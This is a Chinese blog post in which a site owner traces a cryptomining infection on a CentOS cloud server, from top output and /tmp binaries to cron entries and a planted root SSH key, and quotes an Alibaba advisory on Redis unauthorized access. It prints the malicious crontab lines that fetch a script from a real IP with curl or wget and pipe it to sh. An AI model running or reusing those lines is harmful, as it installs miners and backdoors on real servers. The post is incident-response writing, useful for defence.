挖矿程序资源占用处理及服务器公钥库存放未知公钥

with 0 comment

如果你的网站无端变得缓慢,后台CPU资源占用100%,留意检查是否存在异常的挖矿程序占用了你的资源,服务器还有可能存在严重的安全漏洞,着重检查公钥库是否存放了未知公钥,这将意味着对该公钥的提供者完全不设防

aq_imwr1.jpg

产生事由

近期通过某些P2P引流程序对网站进行Alexa提升(作弊啦)之后发现网站变得无比缓慢
而且动不动访问会出现503错误,起初以为是引流程序引入的流量导致服务器负荷过高
于是赶紧关闭程序,没想到遗留保持着龟速的加载

TOP分析

米虫使用的阿里云的独立云主机,理论上不会存在虚拟主机同机共享导致访问过慢的问题
服务器使用的CenOs系统(一个封装过的Linux系统,本质还是Linux)
于是使用TOP命令检查服务器进程占用情况

**top**

top - 13:32:59 up 51 days, 15:05,  2 users,  load average: 1.18, 5.64, 11.03
Tasks:    92 total,   1 running,  91 sleeping,   0 stopped,   0 zombie
%Cpu(s):  0.3 us,  0.0 sy, 99.7 ni,  0.0 id,  0.0 wa,  0.0 hi,  0.0 si,  0.0 st
KiB Mem : 1883496 total,   838680 free,   844828 used,   199988 buff/cache
KiB Swap: 1049596 total,   859800 free,   189796 used.   880896 avail Mem
PID    USER  PR  NI  VIRT    RES    SHR  S  %CPU  %MEM  TIME+    COMMAND
29604  root  20  0   319948  11324  940  S  99.7  0.6   5374:42  **imWBR1**
3279   root  20  0   650252  8752   1004 S  0.3   0.5   13:58.52 ddg.2021

着重发现这个名叫imWBR1(挖矿程序)的进程占用99.7%的CPU
完全不留别人活路,简直不讲道理

结束进程

通过kill -9 加上上面查询出来的PID

kill -9 29604

没毛病,CPU占用瞬间将为2%
以为这样就结束了?
NoNoNo...单纯的米虫刚开始以为结束

死灰复燃

15分钟左右,网站再次陷入异常
好心机,这个时间不长不短,还真容易被忽视
这个imWBR1(挖矿程序)死灰复燃了

PID   USER PR NI VIRT   RES   SHR  S %CPU %MEM TIME+   COMMAND
21363 root 20 0  319948 28300 1040 S 99.7 1.5  8:19.72 **imWBR1**

在进程中还有一个ddg.2021,这个进程出现的也很诡异
于是搜索了这个名字,确实找到了位于/tmp/目录下

cd /tmp/   
ll   
Aegis-<Guid(5A2C30A2-A87D-490A-9281-6765EDAD7CBA)>
ddg.2021    
imWBR1    
mysql.sock
panelBoot.pl
php-cgi-54.sock
systemd-private-ba089d5caeb4421fa8fadbfde9319b80-ntpd.service-5WDBHy

果然看到一个ddg.2021文件
当然意外的也发现了imWBR1
删掉两个执行文件

rm -rf ddg.2021 imWBR1

结束掉进程21363

一而再三

然而,没过多久又一次崛起了
米虫怀疑是不是有个定时任务在拉起
检查服务器的定时任务配置文件

cd /var/spool/cron/crontabs   
vi root  

*/5 * * * * curl -fsSL http://218.248.40.228:8443/i.sh | sh
*/5 * * * * wget -q -O- http://218.248.40.228:8443/i.sh | sh

IP地址:218.248.40.228 印度
印度?
尝试下载了i.sh这个脚本
发现内容是下载挖矿程序并开启定时任务
这两个两个五分钟拉起一次的定时任务
远程拉起的执行的是印度的Shell脚本
先处理问题,删掉定时任务配置文件

rm -rf root

检查公钥库

既然能够远程拉起并执行,是否意味着这个脚本已经将我的服务器信任了对方的服务器
先看看我的公钥库是不是真的残留有别人的信息
如果有,那意味着即使我删除了i.sh脚本对方依旧可以通过ssh远程访问我的服务器进行篡改
这很危险

cd /root/.ssh   
vi authorized_keys 
   
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDfxLBb/eKbi0TVVULI8ILVtbv2iaGM+eZbZoCWcD3v/eF1B/VkHAC1YwIhfqkUYudwhxVfQzsOZYQmKyapWzgp3tBAxcl82Al++VQc36mf/XFnECHndJS1JZB429/w/Ao+KlASl/qzita61D2VsXyejIQIeYR7Ro+ztLSTXjx+70CvzgOae3oayunL/hGX8qORIkG5YR3R1Jefhxy1NhGxEd6GaR7fZA5QWGfM17IcSXi2Q876JL8U7Aq8cjQyN/kGT2jWiiQiOZzqbjVJVICiwk0KvtrTwppV6FLty/vdfhgyspR4WZMep41xxuBH5rBkEJO5lqbKJWatcaA8n9jR x

喵的还真的有!
米虫在阿里云只有一台云主机,自然不会与任何其他的服务器建立信任关系
删掉删掉!

公钥库存放密钥说明

我怀疑是安装了某些开源软件或者免费插件导致的。
这过程相当变态了,米虫来解释一下

阿里云帮助文档解释

关于为什么别人可以随便把密钥写到你的公钥库,阿里云有如下解释:
Redis服务安全加固
https://help.aliyun.com/knowledge_detail/37447.html
漏洞描述
Redis 因配置不当存在未授权访问漏洞,可以被攻击者恶意利用。
在特定条件下,如果 Redis 以 root 身份运行,黑客可以给 root 账号写入 SSH 公钥文件,直接通过 SSH 登录受害服务器,从而获取服务器权限和数据
一旦入侵成功,攻击者可直接添加账号用于 SSH 远程登录控制服务器,给用户的 Redis 运行环境以及 Linux 主机带来安全风险
如删除、泄露或加密重要数据,引发勒索事件等

Comments are closed.